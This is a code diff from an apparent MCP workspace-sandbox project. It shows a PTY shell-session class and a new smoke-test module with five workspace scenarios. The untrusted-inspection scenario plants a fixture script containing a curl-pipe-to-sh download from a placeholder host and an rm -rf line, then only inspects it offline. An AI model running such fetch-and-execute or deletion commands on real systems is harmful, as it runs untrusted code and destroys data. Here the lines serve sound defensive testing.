"ended_at": self.ended_at,
|
||||
"exit_code": self.exit_code,
|
||||
"pid": self.pid,
|
||||
}
|
||||
|
||||
def read(self, *, cursor: int, max_chars: int) -> dict[str, object]:
|
||||
with self._lock:
|
||||
redacted_output = _redact_text(self._output, self._redact_values)
|
||||
clamped_cursor = min(max(cursor, 0), len(redacted_output))
|
||||
output = redacted_output[clamped_cursor : clamped_cursor + max_chars]
|
||||
next_cursor = clamped_cursor + len(output)
|
||||
payload = self.summary()
|
||||
payload.update(
|
||||
{
|
||||
"cursor": clamped_cursor,
|
||||
"next_cursor": next_cursor,
|
||||
"output": output,
|
||||
"truncated": next_cursor < len(redacted_output),
|
||||
}
|
||||
)
|
||||
return payload
|
||||
|
||||
def write(self, text: str, *, append_newline: bool) -> dict[str, object]:
|
||||
if self._process.poll() is not None:
|
||||
self._refresh_process_state()
|
||||
with self._lock:
|
||||
if self.state != "running":
|
||||
raise RuntimeError(f"shell {self.shell_id} is not running")
|
||||
master_fd = self._master_fd
|
||||
input_pipe = self._input_pipe
|
||||
payload = text + ("\n" if append_newline else "")
|
||||
try:
|
||||
if master_fd is not None:
|
||||
os.write(master_fd, payload.encode("utf-8"))
|
||||
else:
|
||||
if input_pipe is None:
|
||||
raise RuntimeError(f"shell {self.shell_id} transport is unavailable")
|
||||
input_pipe.write(payload.encode("utf-8"))
|
||||
input_pipe.flush()
|
||||
except OSError as exc:
|
||||
self._refresh_process_state()
|
||||
raise RuntimeError(f"failed to write to shell {self.shell_id}: {exc}") from exc
|
||||
result = self.summary()
|
||||
result.update({"input_length": len(text), "append_newline": append_newline})
|
||||
return result
|
||||
|
||||
def send_signal(self, signal_name: str) -> dict[str, object]:
|
||||
signal_name = signal_name.upper()
|
||||
signum = _SHELL_SIGNAL_MAP.get(signal_name)
|
||||
if signum is None:
|
||||
raise ValueError(f"unsupported shell signal: {signal_name}")
|
||||
if self._process.poll() is not None:
|
||||
self._refresh_process_state()
|
||||
with self._lock:
|
||||
if self.state != "running" or self.pid is None:
|
||||
raise RuntimeError(f"shell {self.shell_id} is not running")
|
||||
pid = self.pid
|
||||
try:
|
||||
os.killpg(pid, signum)
|
||||
except ProcessLookupError as exc:
|
||||
self._refresh_process_state()
|
||||
raise RuntimeError(f"shell {self.shell_id} is not running") from exc
|
||||
result = self.summary()
|
||||
result["signal"] = signal_name
|
||||
return result
|
||||
|
||||
def close(self) -> dict[str, object]:
|
||||
if self._process.poll() is None and self.pid is not None:
|
||||
try:
|
||||
os.killpg(self.pid, signal.SIGHUP)
|
||||
except ProcessLookupError:
|
||||
pass
|
||||
try:
|
||||
self._process.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
try:
|
||||
os.killpg(self.pid, signal.SIGKILL)
|
||||
except ProcessLookupError:
|
||||
pass
|
||||
self._process.wait(timeout=5)
|
||||
else:
|
||||
self._refresh_process_state()
|
||||
self._close_master_fd()
|
||||
if self._reader is not None:
|
||||
self._reader.join(timeout=1)
|
||||
if self._waiter is not None:
|
||||
self._waiter.join(timeout=1)
|
||||
result = self.summary()
|
||||
result["closed"] = True
|
||||
return result
|
||||
|
||||
def _reader_loop(self) -> None:
|
||||
master_fd = self._master_fd
|
||||
output_pipe = self._output_pipe
|
||||
if master_fd is None and output_pipe is None:
|
||||
return
|
||||
while True:
|
||||
try:
|
||||
if master_fd is not None:
|
||||
chunk = os.read(master_fd, 65536)
|
||||
else:
|
||||
if output_pipe is None:
|
||||
break
|
||||
chunk = os.read(output_pipe.fileno(), 65536)
|
||||
except OSError:
|
||||
break
|
||||
if chunk == b"":
|
||||
break
|
||||
decoded = self._decoder.decode(chunk)
|
||||
if decoded:
|
||||
with self._lock:
|
||||
self._output += decoded
|
||||
decoded = self._decoder.decode(b"", final=True)
|
||||
if decoded:
|
||||
with self._lock:
|
||||
self._output += decoded
|
||||
|
||||
def _waiter_loop(self) -> None:
|
||||
exit_code = self._process.wait()
|
||||
with self._lock:
|
||||
self.state = "stopped"
|
||||
self.exit_code = exit_code
|
||||
self.ended_at = time.time()
|
||||
|
||||
def _refresh_process_state(self) -> None:
|
||||
exit_code = self._process.poll()
|
||||
if exit_code is None:
|
||||
return
|
||||
with self._lock:
|
||||
if self.state == "running":
|
||||
self.state = "stopped"
|
||||
self.exit_code = exit_code
|
||||
self.ended_at = time.time()
|
||||
|
||||
def _close_master_fd(self) -> None:
|
||||
with self._lock:
|
||||
master_fd = self._master_fd
|
||||
self._master_fd = None
|
||||
input_pipe = self._input_pipe
|
||||
self._input_pipe = None
|
||||
output_pipe = self._output_pipe
|
||||
self._output_pipe = None
|
||||
if input_pipe is not None:
|
||||
input_pipe.close()
|
||||
if output_pipe is not None:
|
||||
output_pipe.close()
|
||||
if master_fd is None:
|
||||
return
|
||||
try:
|
||||
os.close(master_fd)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def create_local_shell(
|
||||
*,
|
||||
workspace_id: str,
|
||||
shell_id: str,
|
||||
cwd: Path,
|
||||
display_cwd: str,
|
||||
cols: int,
|
||||
rows: int,
|
||||
env_overrides: dict[str, str] | None = None,
|
||||
redact_values: list[str] | None = None,
|
||||
) -> LocalShellSession:
|
||||
session_key = f"{workspace_id}:{shell_id}"
|
||||
with _LOCAL_SHELLS_LOCK:
|
||||
if session_key in _LOCAL_SHELLS:
|
||||
raise RuntimeError(f"shell {shell_id} already exists in workspace {workspace_id}")
|
||||
session = LocalShellSession(
|
||||
shell_id=shell_id,
|
||||
cwd=cwd,
|
||||
display_cwd=display_cwd,
|
||||
cols=cols,
|
||||
rows=rows,
|
||||
env_overrides=env_overrides,
|
||||
redact_values=redact_values,
|
||||
)
|
||||
_LOCAL_SHELLS[session_key] = session
|
||||
return session
|
||||
|
||||
|
||||
def get_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession:
|
||||
session_key = f"{workspace_id}:{shell_id}"
|
||||
with _LOCAL_SHELLS_LOCK:
|
||||
try:
|
||||
return _LOCAL_SHELLS[session_key]
|
||||
except KeyError as exc:
|
||||
raise ValueError(
|
||||
f"shell {shell_id!r} does not exist in workspace {workspace_id!r}"
|
||||
) from exc
|
||||
|
||||
|
||||
def remove_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession | None:
|
||||
session_key = f"{workspace_id}:{shell_id}"
|
||||
with _LOCAL_SHELLS_LOCK:
|
||||
return _LOCAL_SHELLS.pop(session_key, None)
|
||||
|
||||
|
||||
def shell_signal_names() -> tuple[str, ...]:
|
||||
return SHELL_SIGNAL_NAMES
|
||||
|
||||
|
||||
def shell_signal_arg_help() -> str:
|
||||
return ", ".join(shlex.quote(name) for name in SHELL_SIGNAL_NAMES)
|
||||
541
src/pyro_mcp/workspace_use_case_smokes.py
Normal file
541
src/pyro_mcp/workspace_use_case_smokes.py
Normal file
|
|
@ -0,0 +1,541 @@
|
|||
"""Canonical workspace use-case recipes and smoke scenarios."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import asyncio
|
||||
import tempfile
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Callable, Final, Literal
|
||||
|
||||
from pyro_mcp.api import Pyro
|
||||
|
||||
DEFAULT_USE_CASE_ENVIRONMENT: Final[str] = "debian:12"
|
||||
USE_CASE_SUITE_LABEL: Final[str] = "workspace-use-case-smoke"
|
||||
USE_CASE_SCENARIOS: Final[tuple[str, ...]] = (
|
||||
"cold-start-validation",
|
||||
"repro-fix-loop",
|
||||
"parallel-workspaces",
|
||||
"untrusted-inspection",
|
||||
"review-eval",
|
||||
)
|
||||
USE_CASE_ALL_SCENARIO: Final[str] = "all"
|
||||
USE_CASE_CHOICES: Final[tuple[str, ...]] = USE_CASE_SCENARIOS + (USE_CASE_ALL_SCENARIO,)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class WorkspaceUseCaseRecipe:
|
||||
scenario: str
|
||||
title: str
|
||||
mode: Literal["repro-fix", "inspect", "cold-start", "review-eval"]
|
||||
smoke_target: str
|
||||
doc_path: str
|
||||
summary: str
|
||||
|
||||
|
||||
WORKSPACE_USE_CASE_RECIPES: Final[tuple[WorkspaceUseCaseRecipe, ...]] = (
|
||||
WorkspaceUseCaseRecipe(
|
||||
scenario="cold-start-validation",
|
||||
title="Cold-Start Repo Validation",
|
||||
mode="cold-start",
|
||||
smoke_target="smoke-cold-start-validation",
|
||||
doc_path="docs/use-cases/cold-start-repo-validation.md",
|
||||
summary=(
|
||||
"Seed a small repo, validate it, run one long-lived service, probe it, "
|
||||
"and export a report."
|
||||
),
|
||||
),
|
||||
WorkspaceUseCaseRecipe(
|
||||
scenario="repro-fix-loop",
|
||||
title="Repro Plus Fix Loop",
|
||||
mode="repro-fix",
|
||||
smoke_target="smoke-repro-fix-loop",
|
||||
doc_path="docs/use-cases/repro-fix-loop.md",
|
||||
summary=(
|
||||
"Reproduce a failure, patch it with model-native file ops, rerun, diff, "
|
||||
"export, and reset."
|
||||
),
|
||||
),
|
||||
WorkspaceUseCaseRecipe(
|
||||
scenario="parallel-workspaces",
|
||||
title="Parallel Isolated Workspaces",
|
||||
mode="repro-fix",
|
||||
smoke_target="smoke-parallel-workspaces",
|
||||
doc_path="docs/use-cases/parallel-workspaces.md",
|
||||
summary=(
|
||||
"Create and manage multiple named workspaces, mutate them independently, "
|
||||
"and verify isolation."
|
||||
),
|
||||
),
|
||||
WorkspaceUseCaseRecipe(
|
||||
scenario="untrusted-inspection",
|
||||
title="Unsafe Or Untrusted Code Inspection",
|
||||
mode="inspect",
|
||||
smoke_target="smoke-untrusted-inspection",
|
||||
doc_path="docs/use-cases/untrusted-inspection.md",
|
||||
summary=(
|
||||
"Inspect suspicious files offline-by-default, generate a report, and "
|
||||
"export only explicit results."
|
||||
),
|
||||
),
|
||||
WorkspaceUseCaseRecipe(
|
||||
scenario="review-eval",
|
||||
title="Review And Evaluation Workflows",
|
||||
mode="review-eval",
|
||||
smoke_target="smoke-review-eval",
|
||||
doc_path="docs/use-cases/review-eval-workflows.md",
|
||||
summary=(
|
||||
"Walk a checklist through a PTY shell, run an evaluation, export the "
|
||||
"report, and reset to a checkpoint."
|
||||
),
|
||||
),
|
||||
)
|
||||
|
||||
_RECIPE_BY_SCENARIO: Final[dict[str, WorkspaceUseCaseRecipe]] = {
|
||||
recipe.scenario: recipe for recipe in WORKSPACE_USE_CASE_RECIPES
|
||||
}
|
||||
ScenarioRunner = Callable[..., None]
|
||||
|
||||
|
||||
def _write_text(path: Path, text: str) -> None:
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
path.write_text(text, encoding="utf-8")
|
||||
|
||||
|
||||
def _log(message: str) -> None:
|
||||
print(f"[smoke] {message}", flush=True)
|
||||
|
||||
|
||||
def _extract_structured_tool_result(raw_result: object) -> dict[str, object]:
|
||||
if not isinstance(raw_result, tuple) or len(raw_result) != 2:
|
||||
raise TypeError("unexpected MCP tool result shape")
|
||||
_, structured = raw_result
|
||||
if not isinstance(structured, dict):
|
||||
raise TypeError("expected structured dictionary result")
|
||||
return structured
|
||||
|
||||
|
||||
def _create_workspace(
|
||||
pyro: Pyro,
|
||||
*,
|
||||
environment: str,
|
||||
seed_path: Path,
|
||||
name: str,
|
||||
labels: dict[str, str],
|
||||
network_policy: str = "off",
|
||||
) -> str:
|
||||
created = pyro.create_workspace(
|
||||
environment=environment,
|
||||
seed_path=seed_path,
|
||||
name=name,
|
||||
labels=labels,
|
||||
network_policy=network_policy,
|
||||
)
|
||||
return str(created["workspace_id"])
|
||||
|
||||
|
||||
def _create_project_aware_workspace(
|
||||
pyro: Pyro,
|
||||
*,
|
||||
environment: str,
|
||||
project_path: Path,
|
||||
mode: Literal["repro-fix", "cold-start"],
|
||||
name: str,
|
||||
labels: dict[str, str],
|
||||
) -> dict[str, object]:
|
||||
async def _run() -> dict[str, object]:
|
||||
server = pyro.create_server(mode=mode, project_path=project_path)
|
||||
return _extract_structured_tool_result(
|
||||
await server.call_tool(
|
||||
"workspace_create",
|
||||
{
|
||||
"environment": environment,
|
||||
"name": name,
|
||||
"labels": labels,
|
||||
},
|
||||
)
|
||||
)
|
||||
|
||||
return asyncio.run(_run())
|
||||
|
||||
|
||||
def _safe_delete_workspace(pyro: Pyro, workspace_id: str | None) -> None:
|
||||
if workspace_id is None:
|
||||
return
|
||||
try:
|
||||
pyro.delete_workspace(workspace_id)
|
||||
except Exception:
|
||||
return
|
||||
|
||||
|
||||
def _scenario_cold_start_validation(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||
seed_dir = root / "seed"
|
||||
export_dir = root / "export"
|
||||
_write_text(
|
||||
seed_dir / "README.md",
|
||||
"# cold-start validation\n\nRun `sh validate.sh` and keep `sh serve.sh` alive.\n",
|
||||
)
|
||||
_write_text(
|
||||
seed_dir / "validate.sh",
|
||||
"#!/bin/sh\n"
|
||||
"set -eu\n"
|
||||
"printf '%s\\n' 'validation=pass' > validation-report.txt\n"
|
||||
"printf '%s\\n' 'validated'\n",
|
||||
)
|
||||
_write_text(
|
||||
seed_dir / "serve.sh",
|
||||
"#!/bin/sh\n"
|
||||
"set -eu\n"
|
||||
"printf '%s\\n' 'service started'\n"
|
||||
"printf '%s\\n' 'service=ready' > service-state.txt\n"
|
||||
"touch .app-ready\n"
|
||||
"while true; do sleep 60; done\n",
|
||||
)
|
||||
workspace_id: str | None = None
|
||||
try:
|
||||
created = _create_project_aware_workspace(
|
||||
pyro,
|
||||
environment=environment,
|
||||
project_path=seed_dir,
|
||||
mode="cold-start",
|
||||
name="cold-start-validation",
|
||||
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "cold-start-validation"},
|
||||
)
|
||||
workspace_id = str(created["workspace_id"])
|
||||
_log(f"cold-start-validation workspace_id={workspace_id}")
|
||||
workspace_seed = created["workspace_seed"]
|
||||
assert isinstance(workspace_seed, dict), created
|
||||
assert workspace_seed["origin_kind"] == "project_path", created
|
||||
validation = pyro.exec_workspace(workspace_id, command="sh validate.sh")
|
||||
assert int(validation["exit_code"]) == 0, validation
|
||||
assert str(validation["stdout"]) == "validated\n", validation
|
||||
assert str(validation["execution_mode"]) == "guest_vsock", validation
|
||||
service = pyro.start_service(
|
||||
workspace_id,
|
||||
"app",
|
||||
command="sh serve.sh",
|
||||
readiness={"type": "file", "path": ".app-ready"},
|
||||
)
|
||||
assert str(service["state"]) == "running", service
|
||||
probe = pyro.exec_workspace(
|
||||
workspace_id,
|
||||
command="sh -lc 'test -f .app-ready && cat service-state.txt'",
|
||||
)
|
||||
assert probe["stdout"] == "service=ready\n", probe
|
||||
logs = pyro.logs_service(workspace_id, "app", tail_lines=20)
|
||||
assert "service started" in str(logs["stdout"]), logs
|
||||
export_path = export_dir / "validation-report.txt"
|
||||
pyro.export_workspace(workspace_id, "validation-report.txt", output_path=export_path)
|
||||
assert export_path.read_text(encoding="utf-8") == "validation=pass\n"
|
||||
stopped = pyro.stop_service(workspace_id, "app")
|
||||
assert str(stopped["state"]) == "stopped", stopped
|
||||
finally:
|
||||
_safe_delete_workspace(pyro, workspace_id)
|
||||
|
||||
|
||||
def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||
seed_dir = root / "seed"
|
||||
export_dir = root / "export"
|
||||
patch_path = root / "fix.patch"
|
||||
_write_text(seed_dir / "message.txt", "broken\n")
|
||||
_write_text(
|
||||
seed_dir / "check.sh",
|
||||
"#!/bin/sh\n"
|
||||
"set -eu\n"
|
||||
"value=$(cat message.txt)\n"
|
||||
"[ \"$value\" = \"fixed\" ] || {\n"
|
||||
" printf 'expected fixed got %s\\n' \"$value\" >&2\n"
|
||||
" exit 1\n"
|
||||
"}\n"
|
||||
"printf '%s\\n' \"$value\"\n",
|
||||
)
|
||||
_write_text(
|
||||
patch_path,
|
||||
"--- a/message.txt\n"
|
||||
"+++ b/message.txt\n"
|
||||
"@@ -1 +1 @@\n"
|
||||
"-broken\n"
|
||||
"+fixed\n",
|
||||
)
|
||||
workspace_id: str | None = None
|
||||
try:
|
||||
created = _create_project_aware_workspace(
|
||||
pyro,
|
||||
environment=environment,
|
||||
project_path=seed_dir,
|
||||
mode="repro-fix",
|
||||
name="repro-fix-loop",
|
||||
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "repro-fix-loop"},
|
||||
)
|
||||
workspace_id = str(created["workspace_id"])
|
||||
_log(f"repro-fix-loop workspace_id={workspace_id}")
|
||||
workspace_seed = created["workspace_seed"]
|
||||
assert isinstance(workspace_seed, dict), created
|
||||
assert workspace_seed["origin_kind"] == "project_path", created
|
||||
assert workspace_seed["origin_ref"] == str(seed_dir.resolve()), created
|
||||
initial_read = pyro.read_workspace_file(workspace_id, "message.txt")
|
||||
assert str(initial_read["content"]) == "broken\n", initial_read
|
||||
failing = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||
assert int(failing["exit_code"]) != 0, failing
|
||||
patch_result = pyro.apply_workspace_patch(
|
||||
workspace_id,
|
||||
patch=patch_path.read_text(encoding="utf-8"),
|
||||
)
|
||||
assert bool(patch_result["changed"]) is True, patch_result
|
||||
passing = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||
assert int(passing["exit_code"]) == 0, passing
|
||||
assert str(passing["stdout"]) == "fixed\n", passing
|
||||
diff = pyro.diff_workspace(workspace_id)
|
||||
assert bool(diff["changed"]) is True, diff
|
||||
export_path = export_dir / "message.txt"
|
||||
pyro.export_workspace(workspace_id, "message.txt", output_path=export_path)
|
||||
assert export_path.read_text(encoding="utf-8") == "fixed\n"
|
||||
reset = pyro.reset_workspace(workspace_id)
|
||||
assert int(reset["reset_count"]) == 1, reset
|
||||
clean = pyro.diff_workspace(workspace_id)
|
||||
assert bool(clean["changed"]) is False, clean
|
||||
finally:
|
||||
_safe_delete_workspace(pyro, workspace_id)
|
||||
|
||||
|
||||
def _scenario_parallel_workspaces(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||
seed_dir = root / "seed"
|
||||
_write_text(seed_dir / "note.txt", "shared\n")
|
||||
workspace_ids: list[str] = []
|
||||
try:
|
||||
alpha_id = _create_workspace(
|
||||
pyro,
|
||||
environment=environment,
|
||||
seed_path=seed_dir,
|
||||
name="parallel-alpha",
|
||||
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "alpha"},
|
||||
)
|
||||
workspace_ids.append(alpha_id)
|
||||
beta_id = _create_workspace(
|
||||
pyro,
|
||||
environment=environment,
|
||||
seed_path=seed_dir,
|
||||
name="parallel-beta",
|
||||
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "beta"},
|
||||
)
|
||||
workspace_ids.append(beta_id)
|
||||
_log(f"parallel-workspaces alpha={alpha_id} beta={beta_id}")
|
||||
pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n")
|
||||
time.sleep(0.05)
|
||||
pyro.write_workspace_file(beta_id, "branch.txt", text="beta\n")
|
||||
time.sleep(0.05)
|
||||
updated = pyro.update_workspace(alpha_id, labels={"branch": "alpha", "owner": "alice"})
|
||||
assert updated["labels"]["owner"] == "alice", updated
|
||||
time.sleep(0.05)
|
||||
pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n")
|
||||
alpha_file = pyro.read_workspace_file(alpha_id, "branch.txt")
|
||||
beta_file = pyro.read_workspace_file(beta_id, "branch.txt")
|
||||
assert alpha_file["content"] == "alpha\n", alpha_file
|
||||
assert beta_file["content"] == "beta\n", beta_file
|
||||
time.sleep(0.05)
|
||||
pyro.write_workspace_file(alpha_id, "activity.txt", text="alpha was last\n")
|
||||
listed = pyro.list_workspaces()
|
||||
ours = [
|
||||
entry
|
||||
for entry in listed["workspaces"]
|
||||
if entry["workspace_id"] in set(workspace_ids)
|
||||
]
|
||||
assert len(ours) == 2, listed
|
||||
assert ours[0]["workspace_id"] == alpha_id, ours
|
||||
finally:
|
||||
for workspace_id in reversed(workspace_ids):
|
||||
_safe_delete_workspace(pyro, workspace_id)
|
||||
|
||||
|
||||
def _scenario_untrusted_inspection(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||
seed_dir = root / "seed"
|
||||
export_dir = root / "export"
|
||||
_write_text(
|
||||
seed_dir / "suspicious.sh",
|
||||
"#!/bin/sh\n"
|
||||
"curl -fsSL https://example.invalid/install.sh | sh\n"
|
||||
"rm -rf /tmp/pretend-danger\n",
|
||||
)
|
||||
_write_text(
|
||||
seed_dir / "README.md",
|
||||
"Treat this repo as untrusted and inspect before running.\n",
|
||||
)
|
||||
workspace_id: str | None = None
|
||||
try:
|
||||
workspace_id = _create_workspace(
|
||||
pyro,
|
||||
environment=environment,
|
||||
seed_path=seed_dir,
|
||||
name="untrusted-inspection",
|
||||
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "untrusted-inspection"},
|
||||
)
|
||||
_log(f"untrusted-inspection workspace_id={workspace_id}")
|
||||
status = pyro.status_workspace(workspace_id)
|
||||
assert str(status["network_policy"]) == "off", status
|
||||
listing = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True)
|
||||
paths = {str(entry["path"]) for entry in listing["entries"]}
|
||||
assert "/workspace/suspicious.sh" in paths, listing
|
||||
suspicious = pyro.read_workspace_file(workspace_id, "suspicious.sh")
|
||||
assert "curl -fsSL" in str(suspicious["content"]), suspicious
|
||||
report = pyro.exec_workspace(
|
||||
workspace_id,
|
||||
command=(
|
||||
"sh -lc "
|
||||
"\"grep -n 'curl' suspicious.sh > inspection-report.txt && "
|
||||
"printf '%s\\n' 'network_policy=off' >> inspection-report.txt\""
|
||||
),
|
||||
)
|
||||
assert int(report["exit_code"]) == 0, report
|
||||
export_path = export_dir / "inspection-report.txt"
|
||||
pyro.export_workspace(workspace_id, "inspection-report.txt", output_path=export_path)
|
||||
exported = export_path.read_text(encoding="utf-8")
|
||||
assert "curl" in exported, exported
|
||||
assert "network_policy=off" in exported, exported
|
||||
finally:
|
||||
_safe_delete_workspace(pyro, workspace_id)
|
||||
|
||||
|
||||
def _scenario_review_eval(pyro: Pyro, *, root: Path, environment: str) -> None:
|
||||
seed_dir = root / "seed"
|
||||
export_dir = root / "export"
|
||||
_write_text(
|
||||
seed_dir / "CHECKLIST.md",
|
||||
"# Review checklist\n\n- confirm artifact state\n- export the evaluation report\n",
|
||||
)
|
||||
_write_text(seed_dir / "artifact.txt", "PASS\n")
|
||||
_write_text(
|
||||
seed_dir / "review.sh",
|
||||
"#!/bin/sh\n"
|
||||
"set -eu\n"
|
||||
"if grep -qx 'PASS' artifact.txt; then\n"
|
||||
" printf '%s\\n' 'review=pass' > review-report.txt\n"
|
||||
" printf '%s\\n' 'review passed'\n"
|
||||
"else\n"
|
||||
" printf '%s\\n' 'review=fail' > review-report.txt\n"
|
||||
" printf '%s\\n' 'review failed' >&2\n"
|
||||
" exit 1\n"
|
||||
"fi\n",
|
||||
)
|
||||
workspace_id: str | None = None
|
||||
shell_id: str | None = None
|
||||
try:
|
||||
workspace_id = _create_workspace(
|
||||
pyro,
|
||||
environment=environment,
|
||||
seed_path=seed_dir,
|
||||
name="review-eval",
|
||||
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "review-eval"},
|
||||
)
|
||||
_log(f"review-eval workspace_id={workspace_id}")
|
||||
baseline_snapshot = pyro.create_snapshot(workspace_id, "pre-review")
|
||||
assert baseline_snapshot["snapshot"]["snapshot_name"] == "pre-review", baseline_snapshot
|
||||
shell = pyro.open_shell(workspace_id)
|
||||
shell_id = str(shell["shell_id"])
|
||||
initial = pyro.read_shell(
|
||||
workspace_id,
|
||||
shell_id,
|
||||
cursor=0,
|
||||
plain=True,
|
||||
wait_for_idle_ms=300,
|
||||
)
|
||||
pyro.write_shell(workspace_id, shell_id, input="cat CHECKLIST.md")
|
||||
read = pyro.read_shell(
|
||||
workspace_id,
|
||||
shell_id,
|
||||
cursor=int(initial["next_cursor"]),
|
||||
plain=True,
|
||||
wait_for_idle_ms=300,
|
||||
)
|
||||
assert "Review checklist" in str(read["output"]), read
|
||||
closed = pyro.close_shell(workspace_id, shell_id)
|
||||
assert bool(closed["closed"]) is True, closed
|
||||
shell_id = None
|
||||
evaluation = pyro.exec_workspace(workspace_id, command="sh review.sh")
|
||||
assert int(evaluation["exit_code"]) == 0, evaluation
|
||||
pyro.write_workspace_file(workspace_id, "artifact.txt", text="FAIL\n")
|
||||
reset = pyro.reset_workspace(workspace_id, snapshot="pre-review")
|
||||
assert reset["workspace_reset"]["snapshot_name"] == "pre-review", reset
|
||||
artifact = pyro.read_workspace_file(workspace_id, "artifact.txt")
|
||||
assert artifact["content"] == "PASS\n", artifact
|
||||
export_path = export_dir / "review-report.txt"
|
||||
rerun = pyro.exec_workspace(workspace_id, command="sh review.sh")
|
||||
assert int(rerun["exit_code"]) == 0, rerun
|
||||
pyro.export_workspace(workspace_id, "review-report.txt", output_path=export_path)
|
||||
assert export_path.read_text(encoding="utf-8") == "review=pass\n"
|
||||
summary = pyro.summarize_workspace(workspace_id)
|
||||
assert summary["workspace_id"] == workspace_id, summary
|
||||
assert summary["changes"]["available"] is True, summary
|
||||
assert summary["artifacts"]["exports"], summary
|
||||
assert summary["snapshots"]["named_count"] >= 1, summary
|
||||
finally:
|
||||
if shell_id is not None and workspace_id is not None:
|
||||
try:
|
||||
pyro.close_shell(workspace_id, shell_id)
|
||||
except Exception:
|
||||
pass
|
||||
_safe_delete_workspace(pyro, workspace_id)
|
||||
|
||||
|
||||
_SCENARIO_RUNNERS: Final[dict[str, ScenarioRunner]] = {
|
||||
"cold-start-validation": _scenario_cold_start_validation,
|
||||
"repro-fix-loop": _scenario_repro_fix_loop,
|
||||
"parallel-workspaces": _scenario_parallel_workspaces,
|
||||
"untrusted-inspection": _scenario_untrusted_inspection,
|
||||
"review-eval": _scenario_review_eval,
|
||||
}
|
||||
|
||||
|
||||
def run_workspace_use_case_scenario(
|
||||
scenario: str,
|
||||
*,
|
||||
environment: str = DEFAULT_USE_CASE_ENVIRONMENT,
|
||||
) -> None:
|
||||
if scenario not in USE_CASE_CHOICES:
|
||||
expected = ", ".join(USE_CASE_CHOICES)
|
||||
raise ValueError(f"unknown use-case scenario {scenario!r}; expected one of: {expected}")
|
||||
|
||||
pyro = Pyro()
|
||||
with tempfile.TemporaryDirectory(prefix="pyro-workspace-use-case-") as temp_dir:
|
||||
root = Path(temp_dir)
|
||||
scenario_names = USE_CASE_SCENARIOS if scenario == USE_CASE_ALL_SCENARIO else (scenario,)
|
||||
for scenario_name in scenario_names:
|
||||
recipe = _RECIPE_BY_SCENARIO[scenario_name]
|
||||
_log(f"starting {recipe.scenario} ({recipe.title}) mode={recipe.mode}")
|
||||
scenario_root = root / scenario_name
|
||||
scenario_root.mkdir(parents=True, exist_ok=True)
|
||||
runner = _SCENARIO_RUNNERS[scenario_name]
|
||||
runner(pyro, root=scenario_root, environment=environment)
|
||||
_log(f"completed {recipe.scenario}")
|
||||
|
||||
|
||||
def build_arg_parser() -> argparse.ArgumentParser:
|
||||
parser = argparse.ArgumentParser(
|
||||
prog="workspace_use_case_smoke",
|
||||
description="Run real guest-backed workspace use-case smoke scenarios.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scenario",
|
||||
choices=USE_CASE_CHOICES,
|
||||
default=USE_CASE_ALL_SCENARIO,
|
||||
help="Use-case scenario to run. Defaults to all scenarios.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--environment",
|
||||
default=DEFAULT_USE_CASE_ENVIRONMENT,
|
||||
help="Curated environment to use for the workspace scenarios.",
|
||||
)
|
||||
return parser
|
||||
|
||||
|
||||
def main() -> None:
|
||||
args = build_arg_parser().parse_args()
|
||||
run_workspace_use_case_scenario(
|
||||
str(args.scenario),
|
||||
environment=str(args.environment),
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
1473
tests/test_api.py
1473
tests/test_api.py
File diff suppressed because it is too large
Load diff
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue